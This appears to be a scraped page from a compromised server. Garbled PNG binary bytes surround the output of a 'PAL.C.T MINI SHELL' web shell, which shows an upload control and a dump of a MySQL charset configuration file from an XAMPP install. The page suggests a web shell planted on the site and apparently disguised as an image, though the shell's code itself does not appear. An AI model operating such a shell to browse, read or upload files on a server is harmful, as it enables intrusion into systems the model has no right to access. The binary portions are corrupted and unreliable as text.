php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/mysql/charsets/
upload
files >> //opt/lampp/share/mysql/charsets/estonia.conf

# Configuration file for the estonia character set.

# The ctype array must have 257 elements.
  00
  20  20  20  20  20  20  20  20  20  28  28  28  28  28  20  20
  20  20  20  20  20  20  20  20  20  20  20  20  20  20  20  20
  48  10  10  10  10  10  10  10  10  10  10  10  10  10  10  10
  84  84  84  84  84  84  84  84  84  84  10  10  10  10  10  10
  10  81  81  81  81  81  81  01  01  01  01  01  01  01  01  01
  01  01  01  01  01  01  01  01  01  01  01  10  10  10  10  10
  10  82  82  82  82  82  82  02  02  02  02  02  02  02  02  02
  02  02  02  02  02  02  02  02  02  02  02  10  10  10  10  20
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  48  10  10  10  10  10  10  10  10  10  10  10  10  10  10  10
  10  10  10  10  10  10  10  10  10  10  10  10  10  10  10  10
  01  01  01  01  01  01  01  01  01  01  01  01  01  01  01  01
  01  01  01  01  01  01  01  10  01  01  01  01  01  01  01  02
  02  02  02  02  02  02  02  02  02  02  02  02  02  02  02  02
  02  02  02  02  02  02  02  10  02  02  02  02  02  02  02  02

# The to_lower array must have 256 elements.
  00  01  02  03  04  05  06  07  08  09  0A  0B  0C  0D  0E  0F
  10  11  12  13  14  15  16  17  18  19  1A  1B  1C  1D  1E  1F
  20  21  22  23  24  25  26  27  28  29  2A  2B  2C  2D  2E  2F
  30  31  32  33  34  35  36  37  38  39  3A  3B  3C  3D  3E  3F
  40  61  62  63  64  65  66  67  68  69  6A  6B  6C  6D  6E  6F
  70  71  72  73  74  75  76  77  78  79  7A  5B  5C  5D  5E  5F
  60  61  62  63  64  65  66  67  68  69  6A  6B  6C  6D  6E  6F
  70  71  72  73  74  75  76  77  78  79  7A  7B  7C  7D  7E  7F
  80  81  82  83  84  85  86  87  88  89  8A  8B  8C  8D  8E  8F
  90  91  92  93  94  95  96  97  98  99  9A  9B  9C  9D  9E  9F
  A0  A1  A2  A3  A4  A5  A6  A7  B8  A9  BA  AB  AC  AD  AE  BF
  B0  B1  B2  B3  B4  B5  B6  B7  B8  B9  BA  BB  BC  BD  BE  BF
  E0  E1  E2  E3  E4  E5  E6  E7  E8  E9  EA  EB  EC  ED  EE  EF
  F0  F1  F2  F3  F4  F5  F6  D7  F8  F9  FA  FB  FC  FD  FE  DF
  E0  E1  E2  E3  E4  E5  E6  E7  E8  E9  EA  EB  EC  ED  EE  EF
  F0  F1  F2  F3  F4  F5  F6  F7  F8  F9  FA  FB  FC  FD  FE  FF

# The to_upper array must have 256 elements.
  00  01  02  03  04  05  06  07  08  09  0A  0B  0C  0D  0E  0F
  10  11  12  13  14  15  16  17  18  19  1A  1B  1C  1D  1E  1F
  20  21  22  23  24  25  26  27  28  29  2A  2B  2C  2D  2E  2F
  30  31  32  33  34  35  36  37  38  39  3A  3B  3C  3D  3E  3F
  40  41  42  43  44  45  46  47  48  49  4A  4B  4C  4D  4E  4F
  50  51  52  53  54  55  56  57  58  59  5A  5B  5C  5D  5E  5F
  60  41  42  43  44  45  46  47  48  49  4A  4B  4C  4D  4E  4F
  50  51  52  53  54  55  56  57  58  59  5A  7B  7C  7D  7E  7F
  80  81  82  83  84  85  86  87  88  89  8A  8B  8C  8D  8E  8F
  90  91  92  93  94  95  96  97  98  99  9A  9B  9C  9D  9E  9F
  A0  A1  A2  A3  A4  A5  A6  A7  A8  A9  AA  AB  AC  AD  AE  AF
  B0  B1  B2  B3  B4  B5  B6  B7  A8  B9  AA  BB  BC  BD  BE  AF
  C0  C1  C2  C3  C4  C5  C6  C7  C8  C9  CA  CB  CC  CD  CE  CF
  D0  D1  D2  D3  D4  D5  D6  D7  D8  D9  DA  DB  DC  DD  DE  DF
  C0  C1  C2  C3  C4  C5  C6  C7  C8  C9  CA  CB  CC  CD  CE  CF
  D0  D1  D2  D3  D4  D5  D6  F7  D8  D9  DA  DB  DC  DD  DE  FF

# The sort_order array must have 256 elements.
  00  02  03  04  05  06  07  08  09  2E  2F  30  31  32  0A  0B
  0C  0D  0E  0F  10  11  12  13  14  15  16  17  18  19  1A  1B
  2C  33  34  35  36  37  38  27  39  3A  3B  5D  3C  28  3D  3E
  76  7A  7C  7E  80  81  82  83  84  85  3F  40  5E  5F  60  41
  42  86  90  92  98  9A  A4  A6  AA  AC  B2  B4  B8  BE  C0  C6
  CE  D0  D2  D6  E5  E8  EE  F0  FA  FC  DD  43  44  45  46  47
  48  87  91  93  99  9B  A5  A7  AB  AD  B3  B5  B9  BF  C1  C7
  CF  D1  D3  D7  E6  E9  EF  F1  FB  FD  DE  49  4A  4B  4C  1C
  01  1D  57  1E  5A  74  71  72  1F  75  20  5B  21  4E  52  51
  22  55  56  58  59  73  2A  2B  23  E7  24  5C  25  4F  54  26
  2D  FE  66  67  68  FF  4D  69  CC  6A  D4  62  6B  29  6C  8E
  6D  61  7D  7F  50  6E  6F  70  CD  7B  D5  63  77  78  79  8F
  8C  B0  88  94  F4  8A  A2  A0  96  9C  DF  9E  A8  B6  AE  BA
  DB  C2  C4  C8  CA  F2  F6  64  EC  BC  D8  EA  F8  E1  E3  DA
  8D  B1  89  95  F5  8B  A3  A1  97  9D  E0  9F  A9  B7  AF  BB
  DC  C3  C5  C9  CB  F3  F7  65  ED  BD  D9  EB  F9  E2  E4  53
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`